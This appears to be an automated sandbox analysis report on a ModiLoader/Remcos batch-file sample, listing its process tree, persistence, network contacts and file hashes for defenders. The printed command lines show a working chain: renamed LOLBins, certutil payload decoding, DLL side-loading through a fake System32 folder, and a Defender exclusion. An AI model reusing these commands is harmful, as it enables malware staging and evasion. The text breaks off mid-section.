Malware Analysis Report

2024-12-07 22:32

Sample ID 240410-zvne3see3x
Target 851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat
SHA256 851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208
Tags
modiloader remcos remotehost persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208

Threat Level: Known bad

The file 851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat was found to be: Known bad.

Malicious Activity Summary

modiloader remcos remotehost persistence rat trojan

ModiLoader, DBatLoader

Remcos

ModiLoader Second Stage

Executes dropped EXE

Loads dropped DLL

Adds Run key to start application

Program crash

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious behavior: GetForegroundWindowSpam

Enumerates system info in registry

Script User-Agent

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-10 21:02

Signatures

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-04-10 21:02

Reported

2024-04-10 21:09

Platform

win11-20240221-en

Max time kernel

299s

Max time network

310s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Remcos

rat remcos

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows \System32\easinvoker.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3852399462-405385529-394778097-1000\Software\Microsoft\Windows\CurrentVersion\Run\Aprfgvrz = "C:\\Users\\Public\\Aprfgvrz.url" C:\Users\Public\Libraries\Yano.com N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\SysWOW64\xcopy.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\SysWOW64\xcopy.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\SysWOW64\xcopy.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\Yano.com N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3864 wrote to memory of 3144 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 3864 wrote to memory of 3144 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 3864 wrote to memory of 404 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3864 wrote to memory of 404 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 404 wrote to memory of 2328 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 404 wrote to memory of 2328 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3864 wrote to memory of 3568 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3864 wrote to memory of 3568 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3568 wrote to memory of 8 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 3568 wrote to memory of 8 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 3864 wrote to memory of 5008 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3864 wrote to memory of 5008 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 5008 wrote to memory of 1288 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 5008 wrote to memory of 1288 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 3864 wrote to memory of 3308 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Yano.com
PID 3864 wrote to memory of 3308 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Yano.com
PID 3864 wrote to memory of 3308 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Yano.com
PID 3864 wrote to memory of 3548 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3864 wrote to memory of 3548 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3864 wrote to memory of 4976 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3864 wrote to memory of 4976 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3308 wrote to memory of 760 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\cmd.exe
PID 3308 wrote to memory of 760 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\cmd.exe
PID 3308 wrote to memory of 760 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\cmd.exe
PID 760 wrote to memory of 2076 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 760 wrote to memory of 2076 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 760 wrote to memory of 2076 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 760 wrote to memory of 4564 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 760 wrote to memory of 4564 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 760 wrote to memory of 4564 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 760 wrote to memory of 2324 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 760 wrote to memory of 2324 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 760 wrote to memory of 2324 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 760 wrote to memory of 1284 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 760 wrote to memory of 1284 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 760 wrote to memory of 1284 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 760 wrote to memory of 4060 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 760 wrote to memory of 4060 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 760 wrote to memory of 4060 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 760 wrote to memory of 1180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 760 wrote to memory of 1180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 760 wrote to memory of 1180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\xcopy.exe
PID 760 wrote to memory of 4296 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows \System32\easinvoker.exe
PID 760 wrote to memory of 4296 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows \System32\easinvoker.exe
PID 4296 wrote to memory of 1708 N/A C:\Windows \System32\easinvoker.exe C:\Windows\system32\cmd.exe
PID 4296 wrote to memory of 1708 N/A C:\Windows \System32\easinvoker.exe C:\Windows\system32\cmd.exe
PID 1708 wrote to memory of 4680 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1708 wrote to memory of 4680 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4680 wrote to memory of 3536 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4680 wrote to memory of 3536 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3308 wrote to memory of 3104 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\extrac32.exe
PID 3308 wrote to memory of 3104 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\extrac32.exe
PID 3308 wrote to memory of 3104 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\extrac32.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat" "C:\\Users\\Public\\Yano.txt" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat" "C:\\Users\\Public\\Yano.txt" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Yano.txt" "C:\\Users\\Public\\Libraries\\Yano.com" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Yano.txt" "C:\\Users\\Public\\Libraries\\Yano.com" 12

C:\Users\Public\Libraries\Yano.com

C:\Users\Public\Libraries\Yano.com

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Yano.txt" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\AprfgvrzO.bat" "

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" ECHO F"

C:\Windows\SysWOW64\xcopy.exe

xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" ECHO F"

C:\Windows\SysWOW64\xcopy.exe

xcopy "Aaa.bat" "C:\Windows \System32\" /K /D /H /Y

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" ECHO F"

C:\Windows\SysWOW64\xcopy.exe

xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y

C:\Windows \System32\easinvoker.exe

"C:\Windows \System32\easinvoker.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\windows \system32\aaa.bat""

C:\Windows\system32\cmd.exe

cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Yano.com C:\\Users\\Public\\Libraries\\Aprfgvrz.PIF

Network

Country Destination Domain Proto
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.137.11:443 onedrive.live.com tcp
US 13.107.137.11:443 onedrive.live.com tcp
US 13.107.42.12:443 3zgtkg.dm.files.1drv.com tcp
US 192.3.216.131:1808 jaztc.duckdns.org tcp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp

Files

C:\Users\Public\alpha.exe

MD5 c5db7b712f280c3ae4f731ad7d5ea171
SHA1 e8717ff0d40e01fd3b06de2aa5a401bed1c907cc
SHA256 f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba
SHA512 bceaf7dc30f2c99b40b7025a5eb063f3131a1ef9349fdf356720eaef838bcf58ce3d5e3bad9459ddd2f872df430bdb66a766a5acff5d3bbc738eba8945cb0a89

C:\Users\Public\kn.exe

MD5 3f6129c8d136b6775175a28667ae6c46
SHA1 6e077884cbf7b31e5d7bc6217363fdad967457db
SHA256 43a570f7e49436fa2687b82fb870b31c7af346d66e2622b56c03bfea28b88646
SHA512 2208acea780df21cc4c227d8f7f60973d54679037ffd0f4f67a7412105a5b9d4abf46d425645e922c859d7bdc3b81e7500ae4aa5d9330dc5fcd8618bc3994ff0

C:\Users\Public\Yano.txt

MD5 4cf5c11880ee66463fbbbd2d00371d09
SHA1 9c438f3129d126279e62d738ced076daf88090af
SHA256 47b157a5a99f3304a954236dd5f85978bd8dfb8a741abefd2798dfc2b2e2a8c7
SHA512 0915ee260c1e625779b7036c049bd2aafc43852d5585f3674bebca41189025db9c13d9cc4543fde579f61128c815107b5d765cc45e24e4f109f4aaf41038a9ce

C:\Users\Public\Libraries\Yano.com

MD5 6e81d417826597c23f59c6dc8d0e9325
SHA1 6b8f936e6d7249471d1acdf5e3ec50faea11211a
SHA256 92286b5317d643787e4109d2d7354e94593416720d0b8f8aa2d497a16a24f377
SHA512 37dfc57c6ada7b379150c1085dcef8b01b4e950f011bc45f50889c883ff28d33a0be4fb0a66f1b1a8d862a6e37dcaf1f810b66bd094b7baff5cfb8f041d198cc

memory/3308-28-0x0000000000C10000-0x0000000000C11000-memory.dmp

memory/3308-29-0x0000000002AC0000-0x0000000003AC0000-memory.dmp

memory/3308-30-0x0000000002AC0000-0x0000000003AC0000-memory.dmp

memory/3308-32-0x0000000000400000-0x0000000000531000-memory.dmp

C:\Users\Public\Libraries\AprfgvrzO.bat

MD5 828ffbf60677999579dafe4bf3919c63
SHA1 a0d159a1b9a49e9eaccc53fe0c3266c0526a1bdc
SHA256 abac4a967800f5da708572ec42441ec373cd52459a83a8a382d6b8579482789d
SHA512 bf00909e24c5a6fb2346e8457a9adacd5f1b35988d90abbde9ff26896bbb59edafea60d9db4d10182a7b5e129bb69585d3e20bc5c63af3517b3a7ef1e45ffb7e

C:\Users\Public\Libraries\easinvoker.exe

MD5 231ce1e1d7d98b44371ffff407d68b59
SHA1 25510d0f6353dbf0c9f72fc880de7585e34b28ff
SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
SHA512 520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

C:\Users\Public\Libraries\aaa.bat

MD5 f4e8f0ec6cfc5c6039402322685cb6ce
SHA1 1037835573c2886dda05d256f15306da89dc645e
SHA256 cd05094e213643d624996b98e14aa5f7a2363f63530fe0c99523f6948effe756
SHA512 c5f9dfbbdb437c8ef9e2dd53fcbafcb256ab4626b4637a21332b3112c20f0d5353674031aae21b57604ba80d3b3f51f11b0ed412ed5fa6641b32fc4793746e02

C:\Users\Public\Libraries\netutils.dll

MD5 30468939b69d5b1f29494fff5b161e6b
SHA1 3f900a76e5a00efd97c618c8cdaa55e66384618f
SHA256 7c6b2128913876dcb70603f2c00618d2e9057f381766565baf2a37100b85f1fd
SHA512 f59fc26b77b28bc0dce41f2542c95a0fcb32204cc2d840d7cf8e74e10fbfc238f0c360e3bb5d787f32c83668ad10bbe522e098ede52f178dd8555c7af530f27f

memory/4296-52-0x00000000613C0000-0x00000000613E3000-memory.dmp

memory/3536-59-0x0000017EEA5F0000-0x0000017EEA612000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y41ztabn.frd.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3536-63-0x00007FFC3B0E0000-0x00007FFC3BBA2000-memory.dmp

memory/3536-64-0x0000017ED0700000-0x0000017ED0710000-memory.dmp

memory/3536-65-0x0000017ED0700000-0x0000017ED0710000-memory.dmp

memory/3536-66-0x0000017ED0700000-0x0000017ED0710000-memory.dmp

memory/3536-69-0x00007FFC3B0E0000-0x00007FFC3BBA2000-memory.dmp

memory/3308-74-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-76-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-78-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-79-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-80-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-81-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-82-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-85-0x0000000015130000-0x0000000016130000-memory.dmp

C:\ProgramData\sfsfdrgrre\logs.dat

MD5 ccf05ac34f85490de401e639c12b58c9
SHA1 7c2f4bb19fb7d297e65ad80d4ec4f35f40d7b121
SHA256 79f1f8f5d34e0d8fe1ffafe331094258da203640aa807c64bbd0b418c7cbde8e
SHA512 033b18c4c130dc3a9e7f9b03b2ae9c8af0ffd781d3267e15859643d70052a16fa751b4d7e3faee2724793c7a5b4bd8d4040982dae14c79b1e3f4e0355adcea9d

memory/3308-94-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-95-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-105-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-106-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-116-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-117-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-127-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-128-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-138-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-139-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-149-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-150-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-160-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-171-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-172-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-182-0x0000000015130000-0x0000000016130000-memory.dmp

memory/3308-183-0x0000000015130000-0x0000000016130000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-10 21:02

Reported

2024-04-10 21:08

Platform

win7-20240221-en

Max time kernel

272s

Max time network

132s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat"

Signatures

ModiLoader, DBatLoader

trojan modiloader

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Users\Public\kn.exe N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Users\Public\kn.exe N/A
N/A N/A C:\Users\Public\Libraries\Yano.com N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Users\Public\alpha.exe N/A

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Public\Libraries\Yano.com

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\Yano.com N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1712 wrote to memory of 1864 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1712 wrote to memory of 1864 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1712 wrote to memory of 1864 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1712 wrote to memory of 1856 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1712 wrote to memory of 1856 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1712 wrote to memory of 1856 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1856 wrote to memory of 1872 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1856 wrote to memory of 1872 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1856 wrote to memory of 1872 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1712 wrote to memory of 2160 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1712 wrote to memory of 2160 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1712 wrote to memory of 2160 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2160 wrote to memory of 2496 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2160 wrote to memory of 2496 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2160 wrote to memory of 2496 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1712 wrote to memory of 2600 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1712 wrote to memory of 2600 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1712 wrote to memory of 2600 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2600 wrote to memory of 2616 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2600 wrote to memory of 2616 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2600 wrote to memory of 2616 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1712 wrote to memory of 2608 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Yano.com
PID 1712 wrote to memory of 2608 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Yano.com
PID 1712 wrote to memory of 2608 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Yano.com
PID 1712 wrote to memory of 2608 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Yano.com
PID 1712 wrote to memory of 2540 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1712 wrote to memory of 2540 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1712 wrote to memory of 2540 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1712 wrote to memory of 2712 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1712 wrote to memory of 2712 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1712 wrote to memory of 2712 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2608 wrote to memory of 2584 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\WerFault.exe
PID 2608 wrote to memory of 2584 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\WerFault.exe
PID 2608 wrote to memory of 2584 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\WerFault.exe
PID 2608 wrote to memory of 2584 N/A C:\Users\Public\Libraries\Yano.com C:\Windows\SysWOW64\WerFault.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat" "C:\\Users\\Public\\Yano.txt" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\851b1f4779b2875dcbb966c5c062d4766655c3d5d94693c93b33ec66fcd8f208.bat" "C:\\Users\\Public\\Yano.txt" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Yano.txt" "C:\\Users\\Public\\Libraries\\Yano.com" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Yano.txt" "C:\\Users\\Public\\Libraries\\Yano.com" 12

C:\Users\Public\Libraries\Yano.com

C:\Users\Public\Libraries\Yano.com

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Yano.txt" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2608 -s 792

Network

Country Destination Domain Proto
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.137.11:443 onedrive.live.com tcp
US 13.107.137.11:443 onedrive.live.com tcp

Files

\Users\Public\alpha.exe

MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

C:\Users\Public\kn.exe

MD5 ec1fd3050dbc40ec7e87ab99c7ca0b03
SHA1 ae7fdfc29f4ef31e38ebf381e61b503038b5cb35
SHA256 1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
SHA512 4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

C:\Users\Public\Yano.txt

MD5 4cf5c11880ee66463fbbbd2d00371d09
SHA1 9c438f3129d126279e62d738ced076daf88090af
SHA256 47b157a5a99f3304a954236dd5f85978bd8dfb8a741abefd2798dfc2b2e2a8c7
SHA512 0915ee260c1e625779b7036c049bd2aafc43852d5585f3674bebca41189025db9c13d9cc4543fde579f61128c815107b5d765cc45e24e4f109f4aaf41038a9ce

C:\Users\Public\Libraries\Yano.com

MD5 6e81d417826597c23f59c6dc8d0e9325
SHA1 6b8f936e6d7249471d1acdf5e3ec50faea11211a
SHA256 92286b5317d643787e4109d2d7354e94593416720d0b8f8aa2d497a16a24f377
SHA512 37dfc57c6ada7b379150c1085dcef8b01b4e950f011bc45f50889c883ff28d33a0be4fb0a66f1b1a8d862a6e37dcaf1f810b66bd094b7baff5cfb8f041d198cc

memory/2608-28-0x00000000001B0000-0x00000000001B1000-memory.dmp

memory/2608-33-0x0000000002D20000-0x0000000003D20000-memory.dmp

memory/2608-34-0x0000000002D20000-0x0000000003D20000-memory.dmp

memory/2608-36-0x00000000001B0000-0x00000000001B1000-memory.dmp

memory/2608-37-0x0000000000400000-0x0000000000531000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-10 21:02

Reported

2024-04-10 21:08

Platform

win10-20240404-en

Max time kernel

299s

Max time network

301s

Command Line

